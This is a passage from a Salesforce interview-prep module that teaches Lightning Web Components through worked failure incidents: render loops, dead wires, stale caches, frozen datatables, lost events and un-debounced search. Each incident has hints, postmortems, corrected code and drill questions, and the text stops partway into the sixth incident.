Salesforce Interview Prep

Module 2 — LWC / UI / JavaScript

Interview weight: 20–25% (combined UI/JS/Aura block: ~25–30%) · Estimated time: 5–7 sessions (~90 min each) Target: By the end, you can explain why an LWC misbehaves (infinite loop, dead wire, stale data, lost event, frozen table) in 2 minutes closed notes — and rebuild it correctly from memory. Apex is still the #1 block, but LWC is the #2 block and the most common place a 2-yr candidate gets filtered (Deloitte-style 50-question guides: ~8 of 50 questions are LWC/UI).


M0 — THE MAP (read this first, 5–10 min)

The one idea everything hangs on: THE ONE-WAY DATA RIVER

Every LWC concept in this module — lifecycle hooks, decorators, wire vs imperative, events, rendering, reactivity — is a consequence of one design decision:

Data flows one way: down into components (properties), up out of them (events). The component only re-renders when a tracked property's reference changes — and the platform controls when the component is born, grows, and dies (lifecycle).

Think of it as a river system:

  • The river = data. It flows downhill only: parent → child via @api properties, and out via CustomEvents. No child ever reaches upstream to change a parent's data directly.
  • The banks = the lifecycle: constructor (birth — nothing else exists yet), connectedCallback (attached to the DOM — fetch data here), renderedCallback (after every render — DOM work here, guarded), disconnectedCallback (death — unsubscribe everything), errorCallback (catches descendant crashes).
  • The gauges = reactivity: a property triggers re-render only when you assign a new reference (this.items = [...this.items, x] works; this.items.push(x) is silent). @wire is a reactive dam — it re-runs when its $ inputs change, not when you feel like it.
  • The bridges = wire vs imperative: @wire = automatic, cached, read-only (needs cacheable=true); imperative = on-demand, for DML and control, and you must refresh stale caches afterwards (refreshApex, notifyRecordUpdateAvailable).
  • The locks = LMS (Lightning Message Service): the only way for unrelated components to talk — publish/subscribe, and you MUST unsubscribe in disconnectedCallback or the river floods (memory leak).
  • The guards = security: LWS sandbox, CSP (no inline scripts, no external CDNs), declarative templates over innerHTML.

Why this map matters (the bridge): Every "hard" LWC question — the infinite render loop, the wire that never fires, the stale screen, the lost event, the frozen table — is a specific incident where someone forgot one of these facts:

  1. Rendered output re-runs after every render; state changes there = loop.
  2. @wire only fires when its $ inputs are actually defined.
  3. Caches don't know about your imperative DML — you must tell them.
  4. Events don't travel unless you set bubbles: true (and composed: true to cross shadow DOM).
  5. The DOM is a browser: 10,000 rows will freeze it.

By the end of this module, "knowing it" looks like this: given any one of the 9 problems below, you can (a) name the mechanism that failed, (b) explain it on a whiteboard, (c) write the fixed component from memory, and (d) say which interview question it maps to.

#IncidentThe villain mechanism
1The Infinite Render LooprenderedCallback + reactive state
2The Wire That Never Fired$ reactive param undefined
3The Stale ScreenCache ignorance after imperative DML
4The Frozen TableDOM scale + datatable perf limits
5The Lost Eventbubbles/composed defaults
6The Search That Killed the ServerNo debounce + N+1 calls
7The XSS in the "Trusted" TextinnerHTML / CSP / LWS
8The Aura GhostLWC cannot embed Aura
9🏆 CAPSTONE: The 60-Minute Live Coding ChallengeEverything, under a clock

Protocol reminder (from file 00): attempt in writing FIRST (≥2 hypotheses + 2 solution attempts), hard 45-min cap, hint ladder, then reveal, then REDO, then retrieval drill. The sealed answer sheet lives in 02b_Topic02_Answer_Sheet.md. You are expected to fail. The failure is the task.


INCIDENT 1 — THE INFINITE RENDER LOOP

STAKES

Wednesday, 3:00 PM. A new dashboard component deploys to production — a chart of pipeline by stage. Within an hour, three users report the same symptom: the tab freezes solid, then "Page Unresponsive" kills the whole browser window. The dev's machine ran it fine for a week. The code reviewer approved it because "the logic is all client-side, no Apex involved."

THE INCIDENT

export default class PipelineChart extends LightningElement {
    isLoading = true;

    renderedCallback() {
        this.initChart();              // draws the chart
        this.isLoading = false;        // "now hide the spinner"
    }

    initChart() {
        // third-party chart lib init against the DOM
    }
}

And in the template:

<template>
    <lightning-spinner if:true={isLoading}></lightning-spinner>
    <div lwc:dom="manual"></div>
</template>

THE PROBLEM

The chart never draws, and the tab dies. One line of "harmless" state change is the assassin. Which line, why does it loop, and what is the correct structure for "do this once after first render"?

Write: (1) ≥2 hypotheses, (2) the fixed component (guard + correct hook usage), (3) the follow-up answer: "how do you re-init when the data changes, without re-initializing the chart?"


HINT LADDER

  • Hint 1 (the avenue): What hook "fires after every render"? What happens to a reactive property when you assign it during that hook?
  • Hint 2 (the mechanism): renderedCallback() runs after EVERY render. Assigning a tracked property there schedules a re-render. Re-render → renderedCallback again → assignment again → infinite loop / frozen tab. The spinner being if:true means the first assignment changes the DOM → guaranteed second render.
  • Hint 3 (the skeleton): Guard flag: if (this.chartInit) return; this.chartInit = true; for the one-time chart init. Then a @api setter or a separate non-reactive flag for "data changed → redraw". Never touch reactive state in renderedCallback for control flow.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — glenbradford.com, CRM Curator 2026, LWC best-practices docs):

The assassin is this.isLoading = false; inside renderedCallback(). It's a tracked field, so the assignment schedules a re-render. The re-render runs renderedCallback() again — which assigns isLoading = false again (harmless value-wise, but the assignment itself marks the property dirty and schedules yet another render). Infinite render → the browser thread never yields → "Page Unresponsive."

The dev's machine "ran fine for a week" because the loop was fast and the tab was small — modern browsers take a while before killing the thread, and the error only surfaces under load or when DevTools is open.

Why the "obvious fixes" failed (the contrast):

  • "Move the chart init to connectedCallback" → the DOM doesn't exist yet (lwc:dom="manual" div not in the tree at that point); chart init would throw or draw nothing. Chart/DOM work belongs in renderedCallback — with a guard.
  • "Remove the spinner line" → true, it stops the loop, but it doesn't fix the pattern: ANY reactive assignment in renderedCallback is a landmine. The guard is the fix.
  • "Use if:false/if:true on the spinner" → that's the deprecated directive (see Incident-adjacent knowledge: lwc:if is the modern syntax), but irrelevant to the loop.

The correct structure:

export default class PipelineChart extends LightningElement {
    chartInit = false;          // NOT reactive-relevant: plain instance field
    isLoading = true;

    renderedCallback() {
        if (this.chartInit) return;
        this.chartInit = true;              // ← guard, set BEFORE the work
        this.initChart();
    }

    // When data arrives later (wire or @api), redraw via a separate path:
    @api
    set chartData(value) {
        this._chartData = value;
        if (this.chartInit) this.redraw();  // chart exists → just redraw
    }
    get chartData() { return this._chartData; }
}

Rules extracted: (1) one-time DOM init → renderedCallback + Boolean guard; (2) data-driven redraws → @api setter or @wire callback that calls a redraw method, never re-enter the render lifecycle; (3) reactive state changes belong in event handlers, connectedCallback, and imperative flows — never in renderedCallback.

KNOWLEDGE EXTRACTION (interview-ready answers you just earned)

  • "Name the lifecycle hooks."constructor, connectedCallback, renderedCallback, disconnectedCallback, errorCallback. Order for parent+child (memorize): Parent constructor → Parent connectedCallback → Child constructor → Child connectedCallback → Child renderedCallback → Parent renderedCallback. "Parent initializes first, child finishes rendering first."
  • "connectedCallback vs renderedCallback?" → connected = inserted into DOM (runs every time, can be multiple times; best for data fetch, subscriptions, imperative Apex). rendered = after every render (best for DOM work; must be guarded; the ONLY hook where child DOM is guaranteed available).
  • "Where do you fetch data?"connectedCallback (imperative) or @wire. Not constructor (no DOM, no Apex, super() must be first).
  • "Can connectedCallback run more than once?" → Yes — every time the component is re-inserted into the DOM (moving between containers, conditional rendering re-adding it).
  • "disconnectedCallback?" → Cleanup: unsubscribe LMS/pubsub, clearInterval, remove event listeners. Forgetting = memory leak.
  • "errorCallback?" → Catches errors in descendants only — not your own code or event handlers. Use it as an error boundary (show fallback UI).
  • "@track still needed?" → Mostly no. Since Spring '20 all fields are reactive; since Winter '21 (API 49) shallow reactivity is default. @track is only for deep observation of plain object/array internals — and it does NOT observe class instances, Date, Map, Set.

THE REDO (compressed, from memory — 15 min)

Write a component that: loads 3 fields of an Account via @wire getRecord, initializes a chart ONCE in renderedCallback, and redraws the chart when the wired data changes — without any possibility of a render loop. (Hint: where does the "data changed" signal live?)

RETRIEVAL DRILL (closed-book, written)

  1. Write the parent→child lifecycle hook order from memory.
  2. Why is a reactive assignment inside renderedCallback dangerous?
  3. Name 2 things you may NOT do in constructor.
  4. What is errorCallback for, and what does it NOT catch?
  5. Is @track required for a plain object field to be reactive? When IS @track needed?

INTERVIEW MAPPING

Lifecycle hooks are the single most-asked LWC area — and the probe is usually a failure case like this one, not the happy list. Persistent Systems L2 and Accenture-style 4+yr lists both contain "explain renderedCallback and when it can be dangerous." Knowing the guard pattern + the "no reactive state in renderedCallback" rule is the level-above answer.


INCIDENT 2 — THE WIRE THAT NEVER FIRED

STAKES

Thursday, 9:30 AM. A record-detail component ships to a Lightning App Page (not a record page). Demo on the record page: perfect. In production: the fields stay empty forever. No error in the console. No Apex in the debug logs. Nothing.

THE INCIDENT

import { getRecord } from 'lightning/uiRecordApi';
import ACCOUNT_NAME_FIELD from '@salesforce/schema/Account.Name';

export default class AccountSummary extends LightningElement {
    @api recordId;                      // ← populated ONLY on record pages
    @wire(getRecord, { recordId: '$recordId', fields: [ACCOUNT_NAME_FIELD] })
    account;
}

Deployed to: an App Page (no record context) and an Experience Cloud page (Guest User, no record context).

THE PROBLEM

The wire "works" in dev and on the record page, and is dead on App/Experience pages — with zero errors. Explain the exact mechanism, and design the fix for "my component must work on ANY page type, record context or not."

Write: (1) ≥2 hypotheses, (2) the mechanism, (3) the robust fix.


HINT LADDER

  • Hint 1 (the avenue): $recordId is a reactive input. What happens when a reactive input is undefined at the moment the wire first evaluates?
  • Hint 2 (the mechanism): @wire with a $ param deferred — it does not fire until the param has a defined value. recordId is only auto-populated on record pages; on App pages it's undefined forever → the wire never fires, no error, no Apex call. Same on Experience Cloud (no record context for Guest User).
  • Hint 3 (the skeleton): Detect no-record-context: if (!this.recordId) { fallback }. Options: (a) get the recordId from the page reference (currentPageReferencestate.recordId) on App pages with an action/related-record URL parameter; (b) imperative getRecord fallback in connectedCallback; (c) wire with a non-reactive recordId that you set imperatively. Always render empty/error states, never assume the wire fired.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — LWC best practices + StackExchange: "Why is my @wire not called?"):

A @wire whose config references a $-prefixed property is reactive: the framework waits for that property to have a defined value, and re-provisions whenever it changes. recordId is only auto-set on record pages. On App Pages, Experience Cloud pages, utility bars, and tabs there is no record context → recordId is undefined → the wire never fires. It's not an error — it's a deferred promise that never resolves. That's why: no console error, no Apex call, empty UI, forever.

Why the "obvious fixes" failed (the contrast):

  • "It must be a caching issue, let me refreshApex" → there's nothing to refresh; the wire never provisioned. refreshApex only works on data actually delivered by a @wire.
  • "Let me move it to imperative in connectedCallback" → correct direction, but now you must handle undefined recordId there too — getRecord with an undefined id is itself an error. The guard comes first.
  • "Make recordId a non-reactive @api param and set it from the parent" → viable on App pages IF the parent knows the id (e.g., from currentPageReference state or a list-selection event) — this is the common "master-detail on an App page" pattern.

The robust pattern (works everywhere):

@api recordId;                          // record pages: platform-provided
wiredAccount;                           // for refreshApex later
hasRecordContext = false;

connectedCallback() {
    if (!this.recordId) {
        // Fallback 1: try the page reference (App pages with record in the URL state)
        this.recordId = this.pageRef?.state?.recordId;
    }
    this.hasRecordContext = !!this.recordId;
    if (!this.hasRecordContext) {
        this.showEmptyState();           // graceful UX, never a silent blank
    }
}

@wire(getRecord, { recordId: '$recordId', fields: [...] })
wiredAccount(result) { this.wiredAccount = result; /* transform if needed */ }

Rules extracted: (1) $-reactive inputs that are undefined → wire silently never fires — always guard; (2) @api recordId is populated only on record pages — design for the no-context case; (3) always render explicit empty/loading/error states; (4) refreshApex(this.wiredAccount) only makes sense after a successful provision.

KNOWLEDGE EXTRACTION (interview-ready)

  • "Wire vs imperative Apex?" → @wire: automatic + reactive + client-cached, requires @AuraEnabled(cacheable=true), read-only (no DML), re-runs on reactive param change / refreshApex / re-render. Imperative: manual control (button, connectedCallback), works with non-cacheable methods (DML), you manage loading/error. Wire for read-only reactive data; imperative for DML and control.
  • "Why is my @wire called multiple times?" → Reactive deps changed, refreshApex called, component re-rendered, page navigation. Check for undefined→defined transitions on $ params.
  • "Can @wire do DML?" → No — cacheable methods can't mutate data; DML methods can't be cacheable. That's what imperative is for.
  • "Can I use @wire for a button click?" → No — wire is declarative; call the method imperatively (or use a trigger variable).
  • "How do you refresh after a save?"await refreshApex(this.wiredResult) (wire-provisioned Apex data only) or notifyRecordUpdateAvailable([recordId]) (LDS/UI API cache). You cannot refreshApex a cacheable method called imperatively — a classic trap.
  • "Wired property vs wired function?" → A wired function lets you destructure { data, error }, set tracked fields, and transform — use it when you need to react to the result.

THE REDO

Rewrite the incident component so it (a) works on any page type, (b) shows an empty state when there's genuinely no record, and (c) can be refreshed after an imperative update. Then answer: what does $recordId vs recordId in the wire config mean, exactly?

RETRIEVAL DRILL

  1. What happens when a $ reactive input is undefined at wire evaluation?
  2. What must an Apex method have to be wireable?
  3. refreshApex — when does it work, and when does it NOT?
  4. Name 3 situations where a wire re-provisions.
  5. Wire vs imperative for a Save button — and why?

INTERVIEW MAPPING

"Wire vs imperative" is a very high frequency question at every company sampled (Deloitte, Capgemini, PwC, Kore1). The $undefined silent-death mechanism is the differentiator — most candidates only know the happy path. Bonus credibility: mention notifyRecordUpdateAvailable for LDS.


INCIDENT 3 — THE STALE SCREEN

STAKES

The datatable-driven "Quick Edit" page went live two weeks ago. Users love it. Then a support ticket: "I change a field, it saves — I even see the toast — but the row still shows the old value. I have to refresh the page. Every time." Some rows DO update correctly. The pattern: rows updated from the search results list stay stale; rows updated from the detail panel refresh fine.

THE INCIDENT

  • The page: left = lightning-datatable of search results (data via @wire Apex search), right = detail panel (data via LDS getRecord).
  • Save flow: imperative updateRecord (LDS) on the right; on the left, an imperative Apex saveRow that the datatable's onsave calls with event.detail.draftValues.
  • After either save, the dev calls refreshApex on the left panel's wired search — "because I read you should." Right panel: nothing at all is called after save.

THE PROBLEM

One side refreshes and stays stale; the other side doesn't refresh at all and stays fresh. Explain the asymmetry — both mechanisms — and the correct refresh calls for both panels.

Write: (1) the two mechanisms, (2) the fixed refresh strategy, (3) the trap the dev's refreshApex call hid.


HINT LADDER

  • Hint 1 (the avenue): Two different caching systems are in play: the Apex @wire cache and the LDS (UI API) cache. Which one does refreshApex talk to? Which one needs notifyRecordUpdateAvailable?
  • Hint 2 (the mechanism): Left: the search result was fetched through @wirerefreshApex(this.wiredSearch) re-provisions the server data — but the update happened through a different method (saveRow), and the wire re-fetches — so why stale? Because: the row shown in the datatable is a copy the component holds (e.g., this.data = mapRows(records)) — re-provisioning the wire updates records, but the display array was not rebuilt, OR the search re-fetch returns the SAME server rows but the component didn't re-map them. Actually — the real asymmetry: right panel uses LDS getRecord — LDS auto-refreshes when another component edits the same record (UI API cache invalidation). Left panel's Apex wire knows nothing about the DML → stale until refreshApex. And refreshApex on the left only helps if the wire data is re-mapped to the datatable.
  • Hint 3 (the skeleton): Left: after saveRowawait refreshApex(this.wiredSearch) AND rebuild the datatable rows from the fresh records. Right: LDS cache is already notified via updateRecord — but if you read data via getRecord wire into a copy, same re-map requirement; for extra safety call notifyRecordUpdateAvailable([id]) after imperative LDS writes. Also: refreshApex on a wire that was never provisioned, or on a cacheable method called imperatively, silently does nothing — the dev's left-panel call may have been a no-op.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — Trailhead "Work with Data", Ambarish Medium LWC+Apex guide, StackExchange "Refreshing imperative cacheable method"):

Two cache worlds:

  1. Apex @wire cache (client-side cache of @AuraEnabled(cacheable=true) results). It is only invalidated by: (a) reactive input changes, (b) an explicit refreshApex(this.wiredResult). It does NOT know that saveRow (imperative DML) changed the data.
  2. LDS / UI API cache (getRecord + the record CRUD functions). The UI API cache auto-invalidates on updateRecord/createRecord/deleteRecord — other components using getRecord for the same record refresh automatically. That's why the right panel "refreshed itself."

The asymmetry: the right panel worked for free (LDS auto-refresh); the left panel went stale because the Apex wire cache is blind to imperative DML. The dev's refreshApex call WAS the right instinct for the left panel — but (the hidden trap) if the component also maps the wire result into a separate display array, re-provisioning alone doesn't rebuild the table rows; and if refreshApex targets a wire that never provisioned (Incident 2's dead wire) or a cacheable method called imperatively, it's a silent no-op.

Why the "obvious fixes" failed (the contrast):

  • "Just call refreshApex after every save" → correct for the Apex-wire panel; useless for the LDS panel (its cache invalidates itself), and a silent no-op if the data didn't come from a wire.
  • "Switch everything to LDS" → LDS is single-record, declarative-friendly; the left panel needs a search query (multi-record, filtered) — that's Apex territory. Not a fix.
  • "Disable caching (cacheable=false) and always re-fetch imperatively" → works but throws away the cache benefits (fewer round-trips, shared cache); the senior answer preserves caching and invalidates precisely.

The fixed refresh strategy:

// LEFT panel (Apex wire search + imperative saveRow):
async handleSave(event) {
    const draftValues = event.detail.draftValues;
    const results = await saveRow({ rows: draftValues });   // imperative DML
    if (results.some(r => !r.isSuccess)) { /* map errors back */ }
    await refreshApex(this.wiredSearch);                    // invalidate the wire cache
    this.rows = mapRows(this.wiredSearch.data);             // ← re-map into the table!
}

// RIGHT panel (LDS getRecord + updateRecord):
async handleUpdate() {
    await updateRecord({ fields: {...} });                  // LDS invalidates its own cache
    notifyRecordUpdateAvailable([this.recordId]);           // belt-and-braces for cross-component freshness
}

Rules extracted: (1) Apex wire cache invalidation = refreshApex; (2) LDS cache invalidation = automatic on LDS writes + notifyRecordUpdateAvailable for safety; (3) a wire result you map into display state must be re-mapped on refresh; (4) refreshApex on non-wire data is a silent no-op.

KNOWLEDGE EXTRACTION (interview-ready)

  • "What is LDS?" → Lightning Data Service: wire adapters + JS functions in lightning/uiRecordApi for single-record CRUD without Apex — built-in caching, sharing/FLS enforcement, cross-component cache sharing, auto-refresh.
  • "LDS vs Apex — when which?" → LDS: single-record get/read/update (record forms, detail panels). Apex: multi-object joins, business logic, callouts, bulk processing, filtered searches, objects UI API doesn't support (Task, Event).
  • "How do two users editing the same record conflict?" → Optimistic locking: check LastModifiedDate/SystemModstamp before save; pessimistic: SELECT ... FOR UPDATE (locks in the DB).
  • "What are getRecord's config gotchas?" → Needs fields OR layoutTypes; use optionalFields for FLS-restricted fields (they'd error the whole request otherwise); import via @salesforce/schema/Object.Field. updateRecord with compound fields needs constituent fields (Contact.FirstName + Contact.LastName, not Contact.Name).
  • "getRecordUi?" → Deprecated → getLayout. Interviewers check whether you know.
  • "Wire adapters?"getRecord, getObjectInfo, getPicklistValues, getPicklistValuesByRecordType. Functions: createRecord, updateRecord, deleteRecord, getFieldValue, getFieldDisplayValue.

THE REDO

Design a "search + quick-edit" page from memory: wire vs imperative choice for each panel, the exact post-save invalidation calls, and what happens to the datatable's draftValues on partial success (Database.update(records, false) + SaveResult[]).

RETRIEVAL DRILL

  1. Two cache systems in the platform, and who invalidates each.
  2. refreshApex — the 3 conditions for it to actually do something.
  3. When does LDS auto-refresh other components?
  4. Why does the search panel go stale but the detail panel not? (Two sentences.)
  5. What is notifyRecordUpdateAvailable for?

INTERVIEW MAPPING

Caching/invalidation is a favorite follow-up after any "wire vs imperative" answer (Kore1, Deloitte 50-question guides). The refreshApex-can't-refresh-imperative-cacheable trap and the LDS auto-invalidation asymmetry are the exact "level-above" details interviewers fish for.


INCIDENT 4 — THE FROZEN TABLE

STAKES

An admin-facing "All Opportunities" page: a lightning-datatable fed by one @AuraEnabled query with no LIMIT. It works beautifully in the demo org (400 rows). Production: the page takes 30+ seconds to load and the browser freezes on scroll. The dev's defense: "The Apex limit is 50,000 rows, so it's legal."

THE INCIDENT

@AuraEnabled(cacheable=true)
public static List<Opportunity> getAll() {
    return [SELECT Id, Name, Amount, StageName, Owner.Name, Account.Name FROM Opportunity];
}
@wire(getAll)
allOpps;
// template: <lightning-datatable columns={columns} data={allOpps.data} ...></lightning-datatable>

Where columns includes { label: 'Owner', fieldName: 'Owner.Name' } — which shows nothing in the column.

THE PROBLEM

Four defects hide in four lines. (1) Why does the browser freeze? (2) Why is the Owner column empty despite Owner.Name in the query? (3) What's the correct pageable design? (4) Where does the 50,000-row Apex limit actually bite here?

Write: (1) the 4 mechanisms, (2) the corrected design (infinite scroll or pagination + flattened data), (3) the perf rules you'd cite.


HINT LADDER

  • Hint 1 (the avenue): (1) DOM scale — how many rows does the datatable actually render, and what's its perf sweet spot? (2) "No nested-field support" in datatable — what does the column definition need? (3) 50,000 rows × JSON serialization on the wire — what happens to the payload/heap?
  • Hint 2 (the mechanism): (1) The datatable renders a DOM node (and then some) per row — 10,000+ rows = browser death; sweet spot ~1,000 rows × 5 columns; >250 rows → <20 columns. (2) Datatable columns have no nested-field supportfieldName: 'Owner.Name' renders nothing; you must flatten (OwnerName) in Apex or JS. (3) 50,000 records through @wire = massive JSON payload, heap pressure server-side, and the client wire cache — and the wire result is capped at the query's row limit (50,000), which is NOT a license to ship them all. (4) Bonus: no LIMIT = the classic "it passed in sandbox" replay.
  • Hint 3 (the skeleton): Apex: LIMIT 1000 + OFFSET-free pattern → paginate via nextRecordsUrl/server-side offset, or datatable enable-infinite-loading + onloadmore + load-more-offset (offset-based Apex param). Flatten: SELECT Id, Name, OwnerId, Owner.Name → map in JS to OwnerName. Never render before data exists (if:true on a loading flag). Bulk save: pass only draftValues.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — Lightning Component Reference datatable perf guidance, CRM Curator, LWC best practices):

  1. The freeze: lightning-datatable renders real DOM per row. The documented sweet spot: ~1,000 rows × ~5 columns; above ~250 rows stay under ~20 columns. The component also does its own virtualization poorly at scale — 10–50K rows = browser death. The dev shipped all rows because "the Apex limit is 50,000" — a limit, not a recommendation.
  2. The empty column: datatable columns have no nested-field support. fieldName: 'Owner.Name' doesn't resolve — the column renders blank. Fix: flatten (OwnerName) server-side or in JS.
  3. The payload: 50K records through a wire = a multi-megabyte JSON payload (heap + serialization server-side, memory client-side) — the classic "legal but lethal" row-count.
  4. The hidden 4th defect: no loading-state gating — data={allOpps.data} renders an empty/partial table during provisioning and can race the wire.

Why the "obvious fixes" failed (the contrast):

  • "Add pagination buttons with OFFSET" → fine, but OFFSET caps at 2,000 in SOQL (and is slow beyond); the datatable-native answer is infinite scroll via enable-infinite-loading + onloadmore + load-more-offset.
  • "Just query fewer fields" → helps payload, not DOM scale — the freeze is about rows rendered, not column count alone.
  • "Use @track on the data" → the data is already reactive; @track changes nothing here (see Incident 1 knowledge) — a memorizer tell.

The corrected design:

@AuraEnabled(cacheable=true)
public static List<Opportunity> getPage(Integer offset, Integer limit) {
    return [SELECT Id, Name, Amount, StageName, Owner.Name FROM Opportunity
            ORDER BY CreatedDate LIMIT :limit OFFSET :offset];
}
// infinite scroll: enable-infinite-loading, onloadmore -> { target.isLoading = true; 
//   this.offset += PAGE_SIZE; this.allRows = [...this.allRows, ...newRows]; target.isLoading = false; }
// columns: { label: 'Owner', fieldName: 'OwnerName', ... }  // flattened
// loading: <template if:true={isLoading}><lightning-spinner></lightning-spinner></template>
// bulk edit: onsave -> saveRows({ rows: event.detail.draftValues })  // draftValues ONLY

Plus: Database.update(records, false) server-side for partial success, returning per-row errors to the table's errors attribute. And for genuinely huge datasets: let the server page (batch/query locator + an endpoint), never the DOM.

KNOWLEDGE EXTRACTION (interview-ready)

  • "Datatable perf rules?" → ~1,000 rows × 5 columns sweet spot; >250 rows → <20 columns; custom data types hurt perf; no nested fields (flatten); infinite scroll for large lists; pass only draftValues on save.
  • "Inline editing pattern?"editable + draftValues + onsave/oncellchange; map SaveResult[] failures back via the errors attribute (row-level + table-level).
  • "How do you bulk-save a datatable?" → Send draftValues to Apex → Database.update(rows, false) → return SaveResult[] → render failures on rows.
  • "Loading states?"lightning-spinner driven by an isLoading flag; target.isLoading = true/false for datatable infinite load; don't render the datatable until data exists.
  • "N+1 and heavy getters?" → Never loop imperative calls in JS; move heavy computation out of getters (they re-run on every render).
  • "Debounce?" → ~300 ms for typeahead/search inputs (the incident 6 deep-dive).

THE REDO

Rewrite the Apex + LWC pair from memory: paged Apex (offset/limit), infinite-scroll datatable wiring (onloadmore, load-more-offset, spinner), flattened OwnerName column, and the bulk-save flow with partial-success error mapping.

RETRIEVAL DRILL

  1. Datatable perf sweet spot (rows × columns) and the >250-row rule.
  2. Why does fieldName: 'Owner.Name' render nothing?
  3. Two reasons "50,000 rows is legal" is the wrong bar.
  4. What exactly goes into the onsave payload, and what goes to Apex?
  5. Name 3 loading-state patterns in a datatable page.

INTERVIEW MAPPING

Performance scenarios are the PwC signal ("LWC = performance engineering" — Abhishek Singh, PwC interview post) and appear in every live-coding prompt. The flattening + infinite-scroll + draftValues triple is the expected 3-4yr answer; most 2-yr candidates know only the happy-path table.


INCIDENT 5 — THE LOST EVENT

STAKES

The "Product Selector" widget: a grandchild component (product-item) fires an event when a user clicks a product; a parent (product-list) needs it to update a counter; a grandparent (checkout-page) needs it to update the total. Demo works. In production, the counter in the middle never moves — but the grandparent's total DOES update (through a different mechanism — a direct call). The dev swears the event fires: there's a console.log in the dispatcher.

THE INCIDENT

// product-item:
handleClick() {
    this.dispatchEvent(new CustomEvent('productselected', { detail: this.product }));
    console.log('dispatched');
}
<!-- product-list template: -->
<template for:each={products} for:item="p">
    <product-item product={p} onproductselected={handleProductSelected}></product-item>
</template>

THE PROBLEM

The event fires (console proves it), the immediate parent doesn't hear it, and the dev's "fix" — adding onproductselected to every intermediate component — is rejected by the architect as wrong. Explain: (1) why the parent is deaf, (2) what the architect wants instead, (3) the difference between the two fixes.

Write: (1) the mechanism, (2) the correct dispatch config, (3) when you'd instead reach for LMS (and when you'd refuse it).


HINT LADDER

  • Hint 1 (the avenue): Default CustomEvent options in LWC: bubbles and composed. What are the defaults, and what do they each control? (Bubbles = travel up the tree; composed = cross the shadow boundary.)
  • Hint 2 (the mechanism): Default is bubbles: false, composed: false → the event stays inside product-item's own shadow DOM; nothing outside hears it. Parent hearing requires bubbles: true; the grandparent (a different shadow root) requires composed: true. The architect's rejection: re-dispatching manually through intermediates is the old Aura-era hack; the standards way is one dispatch with the right flags.
  • Hint 3 (the skeleton): this.dispatchEvent(new CustomEvent('productselected', { detail: this.product, bubbles: true, composed: true })); — one dispatch serves every ancestor. Also: read the data from event.detail, never event.target (retargeting across shadow roots). LMS is for unrelated components, not a parent-child hierarchy.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — LWC Events docs + "Events Best Practices", StackExchange "Custom Event vs LMS tradeoffs"):

The event DID fire — inside product-item's shadow DOM. By default CustomEvent travels nowhere: bubbles: false stops it from leaving the component; composed: false stops it from crossing shadow boundaries. The parent (product-list) and grandparent live in different shadow roots — deaf to a non-composed, non-bubbling event. The console.log only proves the dispatch, not the travel.

The dev's manual re-dispatch chain (parent listens → re-dispatches → grandparent listens) "works" but is the Aura-era pattern — fragile, redundant, and exactly what interviewers reject. The standards answer:

this.dispatchEvent(new CustomEvent('productselected', {
    detail: this.product,          // data travels in detail (retargeting-safe)
    bubbles: true,                 // travel up the containment tree
    composed: true                 // cross shadow boundaries → it's public API
}));

One dispatch, every ancestor can hear it. Rules: (1) composed: true makes the event part of the component's public API — name it globally-uniquely (namespace prefix, e.g. itemselect from c-product-item); (2) pass primitives or copies in detail — objects get wrapped/mutated across boundaries; (3) prefer detail over target (target gets retargeted to the shadow host in listeners outside).

Why the "obvious fixes" failed (the contrast):

  • "Add the same handler to every component in the chain" → works, but it's manual plumbing the framework gives you for free; reviewers see it as a design smell at 3-4yr.
  • "Use LMS for everything" → wrong tool for a hierarchy. LMS is for unrelated components (sidebar ↔ main content) — it's global pub/sub, every subscriber gets every message, harder to test/debug, and leaks if you forget unsubscribe in disconnectedCallback. Over-LMS is a red flag answer.
  • "Fire a DOM event on document" → breaks encapsulation, fights the framework, LWS-incompatible patterns.

When LMS IS right: parent and child are not related in the tree (e.g., a filter sidebar and a table in a different part of the page), cross-tab/utility-bar coordination, or when components are separated by page areas. Judgment: events for hierarchies, LMS for strangers. The classic question — "parent needs data from a grandchild, walk me through options" — expects: @api props + CustomEvent bubbling for hierarchies; LMS only outside parent-child or across page areas.

KNOWLEDGE EXTRACTION (interview-ready)

  • "How do LWC components communicate?" → Parent→child: @api properties (data) + @api methods (actions). Child→parent: CustomEvent with detail, bubbles, composed. Unrelated: LMS (publish/subscribe/unsubscribe with MessageContext; unsubscribe in disconnectedCallback).
  • "bubbles vs composed?"bubbles = travels up the containment tree; composed = crosses shadow DOM boundaries. Defaults: both false.
  • "Why not read event.target across shadow roots?" → Target is retargeted to the shadow host; use event.detail.
  • "Application events in LWC?" → There are none — Aura had application events; LWC uses LMS instead. Common interview trap.
  • "LMS memory leaks?" → Subscribe in connectedCallback, unsubscribe in disconnectedCallback, every time. Also unsubscribeAll on destroy for safety.
  • "Two-way binding in LWC?" → One-way only: data flows down, events flow up. Aura's v.value two-way binding doesn't exist in LWC.

THE REDO

Redo the product selector: correct dispatch, parent + grandparent handlers reading event.detail, and a commented justification for NOT using LMS. Then answer the judgment question: "a filter panel and a results table live in different parts of the page, no shared parent — how do they talk?"

RETRIEVAL DRILL

  1. Defaults of bubbles and composed — and the effect of each.
  2. Where does data travel in a CustomEvent, and why not event.target?
  3. LMS vs CustomEvent — the decision rule in one sentence.
  4. What must you always do with LMS subscriptions, and where?
  5. Aura "application events" vs LWC — what replaced them?

INTERVIEW MAPPING

Component communication is very high frequency (LearnFrenzy scenario banks, trailheadtitans 20-questions, every live-coding prompt). The bubbles/composed mechanism + the "LMS only for strangers" judgment + the no-application-events fact = the complete senior answer in ~60 seconds.


INCIDENT 6 — THE SEARCH THAT KILLED THE SERVER

STAKES

A "Global Search Lite" box on a homepage: every keystroke fires an Apex search. Monday morning, the log shows Apex requests from a single user every ~150 ms for 9 minutes straight. The API-usage dashboard spikes red. The dev's reply: "It's cacheable, so it's cheap."

THE INCIDENT

handleKeyChange(event) {
    this.term = event.target.value;
    this.results = await searchContacts({ term: this.term });   // fires per keystroke
}

With searchContacts being @AuraEnabled(cacheable=true), returning up to 50 rows, doing a LIKE search with proper escaping.

THE PROBLEM

Cacheable ≠ free. Three mechanisms turn one user's typing into a server attack. Name them, and rewrite the input handler correctly (including the race condition the fix must handle).

Write: (1) the 3 mechanisms, (2) the correct handler, (3) the two extra questions interviewers will chain: "why cacheable didn't save you" and "what happens when responses come back out of order?"


HINT LADDER

